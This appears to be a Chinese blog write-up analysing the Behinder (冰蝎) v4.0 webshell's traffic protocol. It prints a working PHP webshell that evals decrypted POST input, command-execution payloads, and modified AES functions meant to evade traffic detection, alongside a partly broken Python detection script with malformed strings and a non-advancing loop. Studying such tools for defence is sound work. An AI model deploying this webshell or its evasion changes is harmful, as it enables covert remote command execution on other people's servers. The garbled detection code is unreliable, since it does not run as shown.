{
    $key="25f9e794323b4538";
        for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];
    }
    $bs="base64_"."encode";
        $after=$bs($data."");
    return $after;
}
$cmd="Y2QgL2QgIkM6XHBocHN0dWR5X3Byb1xXV1dcZGlhZ25vc3RpY18wXGRpYWdub3N0aWNcYXNzZXRzXHVwbG9hZEltYWdlXExvZ29cIiZ3aG9hbWk=";
$cmd=base64_decode($cmd);
$path="QzovcGhwc3R1ZHlfcHJvL1dXVy9kaWFnbm9zdGljXzAvZGlhZ25vc3RpYy9hc3NldHMvdXBsb2FkSW1hZ2UvTG9nby8=";
$path=base64_decode($path);
main($cmd,$path);

$cmd 对应的是 cd /d "C:\phpstudy_pro\WWW\diagnostic_0\diagnostic\assets\uploadImage\Logo\"&whoami

$path 对应的是 C:/phpstudy_pro/WWW/diagnostic_0/diagnostic/assets/uploadImage/Logo/

对应回显是

{"status":"c3VjY2Vzcw==","msg":"ZGVza3RvcC1xbWNzOWdvXGRydW5rYmFieQ0K"}

一些疑问和改进点

简单来说,如果作为蓝队,需要严格分析的是第三个流量包,也就是命令执行的流量包,这也最容易分析。在学习阶段我也思考了具体的几个点

  • • 1、连马是如何连上的,看起来 shell.php 需要我们 post 传入 $data,这一步在流量分析中并没有抓到。
  • • 2、针对 aesxor_base64 进行加密的防御型脚本检测。
  • • 3、冰蝎的改写,是否可以采用新型加密方式。

0x04 冰蝎传输与攻防

冰蝎传输与连马&命令执行

冰蝎 v4.0 版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。按照冰蝎 3.0 版本当中的密码依旧是 "rebeyond",但是冰蝎 v4.0 的马使用蚁剑,以 "rebeyond" 作为密码是连不上的(亲测

在流量层,冰蝎的 aes 特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。

首先看一下冰蝎Payload流转的流程图:

可以分为这五个流程

  • • 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端;
  • • 2、服务端收到 Payload 密文后,利用解密算法进行解密;
  • • 3、服务端执行解密后的 Payload,并获取执行结果;

这三步的基础是 shell.php,通过 post 请求传 body

@error_reporting(0);
    function decrypt($data)
{
    $key="25f9e794323b4538"; 
    $bs="base64_"."decode";
    $after=$bs($data."");
    for($i=0;$i<strlen($after);$i++) {
        $after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
    $post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。

对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php

  • • 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。
@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie
    echo encrypt(json_encode($result));
}
function encrypt($data)
{    
    $key="25f9e794323b4538"; 
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];     
    }    
    $bs="base64_"."encode";
    $after=$bs($data."");    
    return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
$content=base64_decode($content);
main($content);

在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。

接着

  • • 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端;
  • • 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

响应内容略,在上文中已经提到过。

由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 JavaPHPC#ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。

如下是一个最简单的 php 版本的传输协议:

传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此)

针对冰蝎 xor_base64 的检测脚本编写

内容是基于 LiRiu 师傅的文章写的

  • • 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。

因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包

针对一些 HTTP 头的检测

HTTP 请求头

它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点

Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。

Content-Length 较大

Content-Length: 8244

可以作为辅助特征进行检测。

冰蝎通讯默认使用长连接

造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。

Connection: Keep-Alive

端口检测

冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。

针对恶意脚本内容的检测

冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头

@error_reporting(0);  
function main

所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下

from base64 import b64decode
phrases = [
    "assert|eval(base64_decode('".encode(),
    b',
    b',
    b',
    b'error_reporting(0);function m',
    b',
    b',
    b'@error_reporting(0);function ma',
    b',
    b",
    b'@error_reporting(0);function g',
    b',
]
def xor(l0, l1):
    ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]
    return "".join(ret)
        
def check(cipher):
    cipher = b64decode(cipher)
    for phrase in phrases:
        p0 = phrase[0:16]
        p1 = phrase[16:]
        
        c0 = cipher[0:16]
        c1 = cipher[16:16+len(p1)]
        k0 = xor(p0, c0)
        k1 = xor(p1, c1)
        if k1 in k0:
            return k0
    return None
cipher = "..."
HeaderData = "..."
key = check(cipher)
if key:
    print("[+]", cipher[:32], "is XOR Behinder Request!")
    print("[+] The Key of Behinder is ", key)
else:
    print("[-]", cipher[:32], "not Behinder Request..")

接着加上辅助判断

def auxiliaryPoints(HeaderData):  
    # 辅助判断的函数
    evilPoint = 0
    list = []
    LightBlacklist = [
        b'Accept: application/json, text/javascript, */*; q=0.01',
        b'Accept-Encoding: identity',
        b'Connection: Keep-Alive',
    ]
    for temp in HeaderData:
        list.append(temp)
    lenData = 0
    while lenData <= HeaderData.length():
        if(list[lenData].contains(LightBlacklist)):
            evilPoint = evilPoint + 10
    return evilPoint

LiRiu 师傅的可以,但是我自己的包失败了。。

冰蝎马的改写与绕过 tips

冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。

加密算法

本地默认的 aes 传输协议加密算法如下:

    private byte[] Encrypt(byte[] data) throws Exception
    {
        String key="e45e329feb5d925b";
        byte[] raw = key.getBytes("utf-8");
        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
        byte[] encrypted = cipher.doFinal(data);
        Class baseCls;
        try
        {
            baseCls=Class.forName("java.util.Base64");
            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
        }
        catch (Throwable error)
        {
            baseCls=Class.forName("sun.misc.BASE64Encoder");
            Object Encoder=baseCls.newInstance();
            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
            result=result.replace("", "").replace("\r", "");
            encrypted=result.getBytes();
        }
        return encrypted;
    }

服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组

修改后本地

private byte[] Encrypt(byte[] data) throws Exception
{
    String key="e45e329feb5d925b";
    byte[] raw = key.getBytes("utf-8");
    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
    byte[] encrypted = cipher.doFinal(data);
    Class baseCls;
    try
    {
        baseCls=Class.forName("java.util.Base64");
        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
    }
    catch (Throwable error)
    {
        baseCls=Class.forName("sun.misc.BASE64Encoder");
        Object Encoder=baseCls.newInstance();
        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
        result=result.replace("", "").replace("\r", "");
        encrypted=result.getBytes();
    }
    //增加魔法尾巴
    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
    java.util.Random random=new java.util.Random();
    byte[] buf=new byte[magicNum];
    for (int i=0;i    {
        buf[i]=(byte)random.nextInt(256);
    }
    java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
    output.write(encrypted);
    output.write(buf);
    return output.toByteArray();
}

远程

由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下:

function Encrypt($data)  
{  
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  
    $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));  
    $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度  
    for($i=0;$i<$magicNum;$i++) {  
        $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴  
    }  
    return $encrypted;  
}

解密算法

在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。

本地

private byte[] Decrypt(byte[] data) throws Exception
{
    String k="e45e329feb5d925b";
    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度
    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
    byte[] decodebs;
    Class baseCls ;
            try{
                baseCls=Class.forName("java.util.Base64");
                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
            }
            catch (Throwable e)
            {
                baseCls = Class.forName("sun.misc.BASE64Decoder");
                Object Decoder=baseCls.newInstance();
                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
            }
    return c.doFinal(decodebs);
}

远程

function Decrypt($data)  
{  
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond  
    $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度  
    $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail  
    return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);  
}

从理论上来说,这一种方式也可以绕过 xor_base64 的检测

0x05 小结

对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。

而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击